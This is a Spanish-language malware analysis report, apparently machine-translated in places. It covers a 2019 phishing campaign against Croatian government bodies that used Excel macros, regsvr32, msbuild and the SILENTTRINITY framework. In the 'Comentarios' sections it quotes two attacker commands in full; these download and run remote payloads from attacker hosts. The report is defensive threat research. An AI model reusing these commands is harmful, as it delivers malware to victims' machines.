IronPython del lado del mal: cómo descubrimos un ciberataque a los servicios públicos en un país europeo

Nuestros expertos del centro de seguridad experto siempre se mantienen actualizados y monitorean la aparición de nuevas amenazas interesantes y peligrosas. Así es como, a principios de abril de 2019, se descubrió un ataque selectivo contra el gobierno croata. Este informe examinó la cadena de entrega de malware a la computadora de la víctima, presentó indicadores de compromiso y señaló el uso de un nuevo marco postoperatorio que, según nuestros datos, nunca ha sido utilizado por los atacantes.

Infección de la víctima

El 2 de abril de 2019, durante un monitoreo de rutina de varios recursos para detectar nuevo malware, los expertos de PT Expert Security Center descubrieron un documento inusual de la oficina.



Figura 1. Documento malicioso

La notificación de envío se creó en la aplicación de Office MS Excel y se guardó en el formato XLS anterior un día antes (2019-04-01 16:28:07 (UTC)). Sin embargo, la marca de tiempo disponible en la prensa (2018-07-25 00:12:30 (UTC)) indica que el documento se usó en 2018. Volveremos a este síntoma indirecto a continuación.

Es de destacar que el campo Comentarios (que se puede cambiar, incluido el uso de la aplicación MS Excel) contiene un comando en el shell de Windows:

cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"): objShell.Run "net use https://postahr.vip", 0, False: Wscript.Sleep 10000: objShell.Run "regsvr32 /u /n /s /i:https://postahr.vip/page/1/update.sct scrobj.dll", 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs 

Figura 2. El campo "Comentarios" con contenido sospechoso



Figura 3. El contenido del campo Comentarios en forma binaria

Como resultado de ejecutar este comando, el sistema crea un script en el lenguaje Visual Basic que, cuando se inicia, realizará las siguientes acciones:

• conectar un recurso de red utilizando la tecnología WebDAV,
• descargue y ejecute el archivo de la siguiente etapa de infección utilizando la utilidad legítima del sistema regsvr32.

Cuando se conecta un recurso de red a través de HTTP (S), se envía una solicitud NTLM al servidor atacante, con la ayuda de la cual se puede restaurar el hash NTLM. Luego, el hash recibido se puede usar para la autorización de los servicios en nombre de la víctima. No encontramos rastros de tales ataques, y las razones para conectar un recurso de red siguen sin estar claras.

La técnica de usar regsvr32 (gestión de controles ActiveX) con fines maliciosos no es nueva e incluso tiene un nombre: Squiblydoo. Los atacantes lo usan para cumplir con los requisitos para controlar el lanzamiento de programas confiables, así como para evitar la detección de antivirus.

Por sí mismo, el texto en el campo Comentarios es inofensivo y su ejecución debe estar condicionada de alguna manera. Cuando la víctima abre el documento Excel recibido, aparece un mensaje de trampa en idioma croata que le indica que incluya macros:



Figura 4. Mensaje de captura después de abrir un documento

Si se permiten macros, el usuario verá una notificación de paquete falso con el logotipo postal croata:



Figura 5. Notificación de paquete falso

Mientras tanto, utilizando las herramientas de macro, se ejecutará el script para el campo Comentarios y el script creado en el sistema se agregará al inicio:



Figura 6. Macro lógica clave

Curiosamente, el script que se está creando no es activado por una macro. Quizás esta sea la intención del atacante: la siguiente etapa de infección ocurrirá después de un reinicio del sistema y el inicio de sesión del usuario. Volveremos a este detalle a continuación.

Parte del escenario es interesante a su manera: una estructura de código ordenada con formato, sangría y otros matices de marcado puede ser una señal de uso de código de terceros e incluso un programa que le permite crear dichos documentos automáticamente.



Figura 7. Parte presumiblemente prestada de la macro

La búsqueda de palabras clave proporciona muchas piezas de código similares en diferentes recursos. Nos inclinamos a creer que el hacker simplemente encontró el código de programa apropiado y lo ajustó un poco para realizar las acciones que necesitaba:



Figura 8. Ejemplo de una macro similar en issuu.com



Figura 9. Un ejemplo de una macro similar en stackoverflow.com



Figura 10. Ejemplo de una macro similar en dummies.com

Regresemos a la siguiente etapa de infección utilizando la utilidad regsvr32. Cuando se ejecuta el comando, el scriptlet update.sct en JavaScript se descargará del servidor del atacante. El cuerpo del script contiene datos binarios codificados por el algoritmo Base64. Después de la decodificación, los datos recibidos serán deserializados y ejecutados usando la plataforma de software .NET Framework.



Figura 11. El script update.sct descargado del servidor del atacante

Vale la pena señalar que este código también fue prestado por el atacante en uno de los recursos públicos:



Figura 12. Un ejemplo de código similar en rastamouse.me



Figura 13. Un ejemplo de código similar en github.com

No parece que el hacker haya profundizado cuidadosamente en la lógica de las herramientas utilizadas. Por ejemplo, en el scriptlet considerado, se llama a la función setversion, que no hace nada. También se ve un ejemplo disponible en la web.

El objeto desempaquetado y lanzado es un archivo PE ejecutable en la plataforma .NET.



Figura 14. El encabezado del archivo PE ejecutable



Figura 15. Información de depuración del archivo SharpPick PE

Como resultado de la compilación, se conservó la ruta al proyecto con el código fuente. El sufijo -master indica que el proyecto se clonó previamente desde el repositorio, y el directorio SharpPick conduce a una aplicación bien conocida que le permite descargar y ejecutar el código de PowerShell sin usar el intérprete de idiomas directamente, pero usando dependencias .NET.
A pesar de la disponibilidad del proyecto de utilidad SharpPick en GitHub, debe asegurarse de que no se hayan realizado cambios significativos.



Figura 16. Parte del código de utilidad SharpPick descompilado

Como resultado de la descompilación, se obtuvo un pseudocódigo, durante el cual se decodifica desde Base64 y se inicia el script de PowerShell:



Figura 17. Script de PowerShell parcialmente convertido

Después de simplificar el código, no es difícil analizar su lógica:

• se forma un objeto para interactuar con el servidor web con la configuración especificada de Agente de usuario, Cookie y proxy;
• la carga útil se carga en la dirección especificada;
• el algoritmo RC4 descifra el resultado utilizando la clave especificada y se inicia.

Desafortunadamente, durante nuestra investigación, el servidor de administración ya no estaba disponible. No pudimos encontrar los datos que recibió de él anteriormente. Sin embargo, esta vez hay suficiente información en la Web (ejemplo: informe de nuestros colegas de FireEye ) para establecer sin ambigüedades: el eslabón final en esta cadena de infección es Empire backdoor, una herramienta para la administración remota de la computadora de la víctima como parte del marco posoperativo Empire Framework.



Figura 18. Uso de un script similar de PowerShell para atacar vulnerabilidades en WinRAR

Curiosamente, otros patrones de script conducen a un extenso artículo sobre técnicas de prueba de penetración con especial atención a ocultar la infraestructura de los atacantes detrás de los servidores proxy. La fuente más probable de información utilizada por el atacante es un artículo de colegas de Payatu Technologies, donde proporcionan instrucciones detalladas sobre la redirección de sesiones a recursos legítimos, el bloqueo de paquetes no deseados, el registro, etc., incluido el uso de Empire.

Unas horas después, encontramos otro documento en el paquete. Tiene muchas similitudes con la anterior: también se encuentra en Croacia (2019-04-02 16:52:56 (UTC)), tiene el mismo nombre e incluso una imagen de trampa sobre el paquete recibido. Pero aún hay diferencias.

El código malicioso se encuentra nuevamente en el campo Comentarios, pero esta vez la lógica de las acciones ha cambiado.

 cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"):objShell.Run "C:\windows\system32\cmd.exe /c net use \\176.105.255.59\webdav",0:Wscript.Sleep 60000: objShell.Run "%windir%\Microsoft.Net\Framework\v4.0.30319\msbuild.exe \\176.105.255.59\webdav\msbuild.xml" , 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs 

• El recurso de red se conecta mediante el protocolo SMB.
• Descargue e inicie la siguiente etapa de infección utilizando msbuild, una utilidad legítima del paquete .NET Framework.

Es interesante que la línea webdav esté presente en la dirección del directorio montado, vinculando indirectamente este caso con el anterior. Esta vez, todavía es posible un ataque al hash NTLM, aunque no hay evidencia de su uso. Una vez más, se utiliza una aplicación legítima (esta vez msbuild) para evitar con éxito la restricción en el lanzamiento de programas de terceros. Antes de describir la técnica de abuso, mencionamos las diferencias en el código del programa de la macro de un nuevo documento.

Los atacantes no hicieron cambios significativos en la lógica del script VBA. Pero vale la pena señalar que esta vez no solo proporcionan la carga automática del script VBS creado en el sistema, sino que también lo inician cuando se abre el documento. Lo más probable es que, en el caso anterior, los atacantes simplemente lo olvidaron y, después de un tiempo, al descubrir un error, lo corrigieron en la nueva versión del documento.



Figura 19. Comparación del código macro en dos documentos

La siguiente etapa de infección es un documento XML que contiene código C #. Una característica de la utilidad msbuild le permite compilar y ejecutar el código contenido sobre la marcha, como lo demuestran los comentarios que dejó el hacker al comienzo del marcado.

El búfer Base64 se presenta nuevamente en el código, que será descodificado, descomprimido por el algoritmo Deflate y lanzado. Creemos que el lector ya se da cuenta de que esta vez el atacante también utilizó una plantilla de acceso libre, como lo demuestran los comentarios mencionados y muchas fuentes en la Web con el mismo código.



Figura 20. La tarea msbuild.xml descargada del servidor atacante

Como resultado, esta vez se cargará un archivo PE en la plataforma .NET y se ejecutará en la memoria. Y la información de depuración contiene no solo una señal de que el proyecto se recopiló en una máquina virtual (posiblemente para ocultar información sobre el atacante), sino también el directorio SILENTTRINITY, en el que nos detendremos con más detalle.



Figura 21. Información de depuración del archivo SILENTTRINITY PE

Después de estudiar estos dos documentos de paquete, encontramos dos más. Tanto el formato de archivo, el nombre y la imagen de captura con la región especificada no se modificaron. Los documentos estaban disponibles a fines de agosto de 2018, lo que confirma la hipótesis sobre la naturaleza a largo plazo de la campaña, sobre la que escribimos al comienzo del informe.

Es curioso que el año pasado los hackers no utilizaron el campo "Comentarios", pero lanzaron utilidades legítimas. El componente malicioso se cargó utilizando la utilidad para trabajar con certificados y operaciones criptográficas certutil, y el lanzamiento fue proporcionado por las herramientas de administración del sistema WMI:



Figura 22. Comparación de macros de documentos de 2018

Desafortunadamente, después de la limitación de lo que sucedió, no pudimos establecer los enlaces posteriores en la cadena de ataque de 2018.

También vale la pena señalar que parte del código del script VBA se mantuvo sin cambios, con la excepción de los comentarios auxiliares eliminados que explican la lógica del trabajo.



Figura 23. Comparación de las macros de 2019 y 2018

SilentTrinity Framework

Los resultados de búsqueda para la palabra clave SILENTTRINITY de la información de depuración del archivo PE pueden determinar fácilmente el origen de este enlace de ataque. En octubre de 2018, Marcello Salvati (investigador de Black Hills Information Security) publicó un proyecto llamado SILENTTRINITY en el popular repositorio de GitHub. La idea principal: utilizar la flexibilidad y las ventajas del conocido marco de PowerShell posoperativo en el lenguaje de programación Python Python, concretamente IronPython. El proyecto se está desarrollando hasta el día de hoy.

No profundizaremos en los detalles del trabajo y la implementación del proyecto (especialmente porque el autor habló en detalle al respecto en su informe ). Solo destacaremos la lógica básica del trabajo y los puntos interesantes en la implementación.

Después de iniciar el archivo PE (sin embargo, el enlace intermedio puede estar en un formato diferente), ocurre lo siguiente:

• acceso al servidor de administración para descargar el archivo ZIP con las dependencias necesarias y el script principal de Python;
• el contenido del archivo se extrae sin guardarlo en el disco;
• las dependencias se registran para el procesamiento exitoso de los scripts de Python;
• Se inicia el script principal de Python, esperando la tarea del atacante;
• cada tarea se transfiere como un script Python listo para usar;
• la tarea se realiza en el lado de la víctima en un hilo separado;
• El resultado del trabajo se transfiere nuevamente al servidor de administración.

Figura 24. Diagrama de funcionamiento del marco de SilentTrinity

De las características cabe destacar las siguientes:

• Compatibilidad con IronPython, incluido el lenguaje Boo (un subconjunto de IronPython con una fuerte tipificación de datos).
• Toda la actividad no requiere espacio en disco: dependencias, scripts, tareas se encuentran en la memoria (ataque sin archivos).
• Archivo con dependencias, tareas, el resultado del trabajo de los equipos: toda la comunicación entre la víctima y el hacker está encriptada con el algoritmo AES.
• La clave compartida es generada por el protocolo Diffie-Hellman.
• El transporte de red se proporciona a nivel del protocolo HTTP (S) con soporte de proxy.

Figura 25. Ejemplo de interfaz de usuario del lado del servidor del marco SilentTrinity

Curiosamente, el día de los ataques, el cargador PE se cargó en el servicio VirusTotal, donde ningún proveedor de antivirus lo identificó como malicioso. Esto no es sorprendente: en primer lugar, el archivo binario no llega al disco y la detección de firma no tiene mucho sentido; en segundo lugar, la detección estática está lejos de ser la única tecnología para proteger a los usuarios.



Figura 26. Resultado del análisis del gestor de arranque SilentTrinity el día del ataque

Además, unos días después del ataque, los veredictos de detección aún comenzaron a aparecer. Es importante que durante el período de los ataques, o el equipo de protección aún no estaba equipado con algoritmos de detección, o la amenaza no se conocía en principio.



Figura 27. El resultado del análisis actual del gestor de arranque SilentTrinity

Lo más probable es que esta fue la razón para elegir esta solución para realizar ataques. No tenemos información de que el marco de SilentTrinity ya se haya utilizado antes en ataques maliciosos.

Infraestructura utilizada por los atacantes

Vale la pena mencionar que la infraestructura de red utilizada por los hackers está cronológicamente relacionada con los ataques en curso.



Tabla 1. Información sobre los dominios utilizados como servidores de ataque


Los dominios se crearon de tal manera que se asemejan a recursos legítimos atacados. Esto permite a los usuarios ganar confianza en los ataques de phishing. Tenga en cuenta que los recursos involucrados no se limitan a Croacia.

Todos los dominios se registran utilizando la tecnología de seguridad WhoisGuard. Le permite ocultar la información real sobre el registrante del dominio para protegerse contra el correo no deseado, mientras que los atacantes usan esta tecnología para el anonimato.

Los servidores que distribuyen y administran malware fueron arrendados al proveedor holandés Breezle.

Toda la información disponible sobre los nodos, direcciones y dominios de los atacantes con muchas conexiones entre ellos nos permite juzgar sobre los grandes volúmenes de malware que los atacantes tenían esta vez. No excluimos que en la campaña se puedan utilizar herramientas similares a las consideradas y que algunos casos de infección no se hayan resuelto.



Figura 28. Representación gráfica de la infraestructura de un atacante.

Conclusión

Un día después del descubrimiento de los documentos en las noticias , se emitió un comunicado de prensa con un enlace al Departamento de Seguridad de Sistemas de Información de Croacia sobre ataques de phishing selectivos. Se encontraron rastros en varios organismos gubernamentales del país. Se informa que se enviaron correos electrónicos a las víctimas con un enlace a un sitio de phishing desde el que se propuso descargar un documento malicioso desde el cual comenzó nuestro análisis. Esto llena los eslabones perdidos en la cadena de ataque, y al final nos gustaría prestar atención a los métodos de protección que pueden reducir el daño de tales ataques:

• Monitoreo y control del uso de algunos programas confiables (certutil, regsvr32, msbuild, net, wmic ...)
• Verificación y análisis no solo de archivos adjuntos en correos electrónicos, sino también de enlaces web
• Escaneos periódicos de la memoria de la PC en una red corporativa
• Las conexiones exitosas a C2 Silent Trinity (incluso bajo TLS) se pueden detectar utilizando PT Network Attack Discovery , además, en nuestro repositorio publicamos detecciones para la comunidad.

Publicado por Alexey Vishnyakov, Tecnologías positivas

PD: Sobre este tema, el autor también leyó un informe en Positive Hack Days 9. El video de esta y otras presentaciones está disponible en: www.phdays.com/en/broadcast/ .